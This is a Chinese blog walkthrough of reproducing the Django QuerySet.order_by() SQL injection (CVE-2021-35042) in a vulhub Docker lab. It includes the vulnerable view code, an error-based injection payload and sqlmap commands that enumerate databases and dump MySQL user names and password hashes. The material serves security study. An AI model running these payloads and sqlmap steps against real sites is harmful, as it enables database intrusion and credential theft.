当前位置:网站首页>Django QuerySet.order_by() SQL注入漏洞复现
Django QuerySet.order_by() SQL注入漏洞复现
2022-08-11 05:32:00 【Tauil】
Django QuerySet.order_by() SQL注入漏洞复现
靶机在vulhub文件夹中打开终端,输入命令
cd django/CVE-2021-35042
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose ps
可以看到一共开了两个容器,一个是web服务的容器,一个是数据库的容器
访问web页面,此时页面会提示你到/vuln路径下,该页面的源码是
from django.shortcuts import HttpResponse
from .models import Collection
# Create your views here.
def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())
我们可以看到该页面有可上传的参数order,当我们输入URL:http://靶机IP:8000/vuln/?order=1时可以看到页面提示order值应该为id或者name
然后就可以通过输入特定内容进行排序,说明order_by()函数正常,这时候使用一些特殊符号如
> .
> '
> ''
> (
> )
> ;
等等进行引发错误,当输入 . 时发现引发了一个特殊错误,可以看到该处的SQL语句包含了括号
我们可以尝试继续在 . 后面添加其他参数,如添加.id时发现与id内容相同,说明该处存在注入点,可以使用以下命令验证注入点存在
.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
那么我们打开 kali 终端,输入命令:
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" --dbs --threads=10
然后就可以得到其数据库名
该网页使用的数据库是cve,一般情况下应该继续挖掘cve数据中的用户账号密码,但是该靶机中并没有用户列表等内容,所以我们可以挖掘该网页数据库的账号密码
继续输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id -D mysql --tables
发现用户表user,继续输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user --column
发现用户名,主机地址以及密码,输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user -C User,authentication_string,Host --dump
现在就获得了靶机数据库的账号和密码,一般情况下应该继续输入命令
mysql -h靶机IP -uroot -pmysql
但是该靶场中数据库使用的是单独容器,而且该容器没有使用特定IP地址,如果我们使用上述的命令,连接到的是靶机本机的数据库,而不是容器本身的数据库,为了验证正确性,我们可以到靶机中进入数据库容器中
输入命令
mysql-uroot -pmysql
登录成功,密码正确
边栏推荐
猜你喜欢
随机推荐
Real-time Feature Computing Platform Architecture Methodology and Practice Based on OpenMLDB
C# 基础之字典——Dictionary(二)
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(2)
PyQt5中调用.ui转换的.py文件代码解释
The mount command - mounted read-only, solution
脚本自动选择Hierarchy或Project下的对象
虚拟机更改IP地址
自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析
2021年vscode终端设置为bash模式
解决AttributeError: ‘NoneType‘ object has no attribute ‘val‘ if left.val!=right.val:Line 17 问题
three.js基础学习
Redis学习笔记【一】
连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.
【LeetCode-36】有效的数独
父子节点数据格式不一致的树状列表实现
第一章 Verilog语言和Vivado初步使用
The official website of OpenMLDB is upgraded, and the mysterious contributor map will take you to advance quickly
[HTB]渗透Backdoor靶机
VirtualAPK初探
Redis学习笔记【三】